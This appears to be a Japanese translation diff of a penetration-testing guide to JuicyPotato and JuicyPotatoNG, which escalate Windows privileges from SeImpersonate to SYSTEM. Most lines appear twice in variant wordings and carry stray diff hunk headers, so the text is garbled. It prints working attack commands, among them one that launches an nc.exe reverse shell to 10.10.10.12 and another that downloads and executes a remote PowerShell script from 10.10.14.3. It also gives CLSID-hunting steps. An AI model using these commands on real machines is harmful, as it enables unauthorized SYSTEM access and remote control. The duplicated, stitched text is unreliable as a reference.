3. SYSTEM、Administrator などの昇格したユーザーとして実行されていること
いくつかのテスト後、複数の Windows バージョン上で [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) の広範なリストを取得・テストしました。
いくつかのテストの後、複数のWindowsバージョンで[interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) の広範なリストを取得してテストしました。
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato により以下が可能です:
JuicyPotatoは次を可能にします:
- **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._
- **COM Listening port** _定義したい COM リッスンポートを指定できます（マシュアルされたハードコーディングの 6666 の代わりに）_
- **COM Listening IP address** _サーバを任意の IP にバインドできます_
- **Process creation mode** _インパーソネートされたユーザの権限に応じて以下から選べます:_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _エクスプロイトが成功した場合に起動する実行ファイルやスクリプトを指定できます_
- **Target CLSID** _任意の CLSID を選択できます._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _で OS ごとに整理されたリストが見つかります。_
- **COM Listening port** _好みの COM リスニングポートを定義できます（マシュアルされたハードコード 6666 の代わりに）_
- **COM Listening IP address** _サーバーを任意の IP にバインドできます_
- **Process creation mode** _インパーソネートされたユーザーの権限に応じて次から選択できます:_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _エクスプロイトが成功した場合に実行ファイルやスクリプトを起動します_
- **Process Argument** _起動するプロセスの引数をカスタマイズできます_
- **RPC Server address** _ステルスなアプローチのために外部の RPC サーバへ認証することができます_
- **RPC Server port** _外部サーバへ認証したいがファイアウォールがポート `135` をブロックしている場合に便利です…_
- **TEST mode** _主にテスト目的、すなわち CLSID のテスト用です。DCOM を作成しトークンのユーザを表示します。テストについては_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
- **RPC Server address** _ステルスなアプローチとして外部の RPC サーバーに対して認証することができます_
- **RPC Server port** _外部サーバーに認証したいがファイアウォールでポート `135` がブロックされている場合に有用です…_
- **TEST mode** _主にテスト目的、つまり CLSID のテスト用です。DCOM を作成しトークンのユーザーを出力します。テストについては_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)_
### Usage <a href="#usage" id="usage"></a>
```
@ -74,28 +74,28 @@ Optional args:
```
### 最終的な考察 <a href="#final-thoughts" id="final-thoughts"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
[**juicy-potato Readme から**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
ユーザーに `SeImpersonate` または `SeAssignPrimaryToken` 権限がある場合、あなたは **SYSTEM** です。
ユーザに `SeImpersonate` または `SeAssignPrimaryToken` 権限があれば、あなたは **SYSTEM** です。
これらすべての COM サーバーの悪用を完全に防ぐことはほぼ不可能です。`DCOMCNFG` を使ってこれらオブジェクトの権限を変更することを検討するかもしれませんが、かなり難しいでしょう。
これらすべての COM Servers の悪用を完全に防ぐことはほとんど不可能です。`DCOMCNFG` を使ってこれらのオブジェクトの権限を変更することを考えるかもしれませんが、うまくいくとは限らず非常に困難でしょう。
実際の解決策は、`* SERVICE` アカウントで動作する機密性の高いアカウントおよびアプリケーションを保護することです。`DCOM` を停止すれば確かにこのエクスプロイトを抑制できますが、基盤となる OS に深刻な影響を与える可能性があります。
実際の解決策は、`* SERVICE` アカウントで実行される機密アカウントやアプリケーションを保護することです。`DCOM` を停止すればこのエクスプロイトを抑制できる可能性はありますが、基盤となる OS に重大な影響を与える可能性があります。
出典: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## JuicyPotatoNG (2022+)
JuicyPotatoNG は、以下を組み合わせることで、最新の Windows 上に JuicyPotato スタイルのローカル権限昇格を再導入します:
- 選択したポート上のローカル RPC サーバーへの DCOM OXID 解決を行い、古いハードコードされた 127.0.0.1:6666 リスナーを回避します。
- SSPI フックを使い、RpcImpersonateClient を必要とせずに受信する SYSTEM 認証をキャプチャしてなりすます機能。これにより SeAssignPrimaryTokenPrivilege のみが存在する場合でも CreateProcessAsUser が可能になります。
- PrintNotify / ActiveX Installer Service クラスをターゲットにする際に以前必要だった INTERACTIVE グループ要件など、DCOM アクティベーション制約を満たすためのトリック。
JuicyPotatoNG は、以下を組み合わせることで modern Windows 上に JuicyPotato スタイルの local privilege escalation を再導入します:
- DCOM OXID resolution を選択したポート上のローカル RPC server に向けることで、古いハードコードされた 127.0.0.1:6666 リスナーを回避。
- SSPI hook を使って、`RpcImpersonateClient` を必要とせずに着信する SYSTEM 認証をキャプチャして偽装。これにより、`SeAssignPrimaryTokenPrivilege` のみがある場合でも `CreateProcessAsUser` が可能になる。
- DCOM アクティベーションの制約（例: PrintNotify / ActiveX Installer Service クラスを狙う際に以前必要だった INTERACTIVE-group 要件）を満たすためのトリック。
重要な注意点（ビルドごとに挙動が変化しています）:
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
重要な注意（ビルドによって挙動が変化）:
- September 2022: 初期の手法は、“INTERACTIVE trick” を使用してサポートされている Windows 10/11 および Server ターゲットで動作しました。
- January 2023 update from the authors: Microsoft は後に INTERACTIVE trick をブロックしました。異なる CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) により再びエクスプロイトが可能になりますが、投稿によるとこれは Windows 11 / Server 2022 のみで有効です。
基本的な使い方（詳細なフラグはヘルプ参照）:
基本的な使用法（詳細はヘルプのフラグを参照）:
```
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
```
Windows 10 1809 / Server 2019 を対象としていて classic JuicyPotato がパッチ適用されている場合は、上部にリンクされている代替（RoguePotato、PrintSpoofer、EfsPotato/GodPotato 等）を優先してください。NG はビルドやサービスの状態によっては状況依存です。
classic JuicyPotato がパッチ済みの Windows 10 1809 / Server 2019 を対象とする場合、ページ上部にリンクされている代替（RoguePotato、PrintSpoofer、EfsPotato/GodPotato など）を優先してください。NG はビルドやサービスの状態によって状況依存になる場合があります。
## 例
注: 試す CLSID の一覧は [this page](https://ohpe.it/juicy-potato/CLSID/) を参照してください。
注: 試す CLSIDs の一覧については [this page](https://ohpe.it/juicy-potato/CLSID/) を参照してください。
### nc.exe を使った reverse shell を取得する
### nc.exe のリバースシェルを取得する
```
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
@ -126,27 +126,27 @@ c:\Users\Public>
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
```
### Launch a new CMD (if you have RDP access)
### 新しい CMD を起動する（RDP アクセスがある場合）
![](<../../images/image (300).png>)
## CLSID Problems
## CLSID の問題
多くの場合、JuicyPotato が使用するデフォルトの CLSID は **機能せず**、exploit は失敗します。通常、**動作する CLSID** を見つけるには複数回の試行が必要です。特定のオペレーティングシステムで試す CLSID の一覧を取得するには、次のページを参照してください：
多くの場合、JuicyPotato が使用するデフォルトの CLSID は **動作しない** ことがあり、exploit が失敗します。通常、**動作する CLSID** を見つけるには複数回の試行が必要です。特定のオペレーティングシステム用に試す CLSID の一覧を入手するには、次のページを参照してください：
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
### **Checking CLSIDs**
### **CLSID の確認**
まず、juicypotato.exe に加えていくつかの実行可能ファイルが必要です。
まず、juicypotato.exe 以外のいくつかの実行可能ファイルが必要です。
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) をダウンロードして PS セッションに読み込み、[GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) をダウンロードして実行します。そのスクリプトはテスト用の CLSID 候補リストを作成します。
Join-Object.ps1 をダウンロードして PS セッションに読み込み、GetCLSID.ps1 をダウンロードして実行します。そのスクリプトはテスト用の候補 CLSID の一覧を作成します。
次に [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(CLSID リストと juicypotato 実行ファイルへのパスを変更してください) をダウンロードして実行します。これにより全ての CLSID を順に試し、**ポート番号が変わったときは、その CLSID が動作したことを意味します**。
次に test_clsid.bat をダウンロードし（CLSID リストおよび juicypotato 実行ファイルへのパスを変更してください）、実行します。これが各 CLSID を順に試行し、**ポート番号が変わったときにその CLSID が動作したことを意味します**。
パラメータ -c を使用して、動作する CLSID を**確認**してください
**-c パラメータを使用して動作する CLSID を確認してください**
## References
## 参考
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)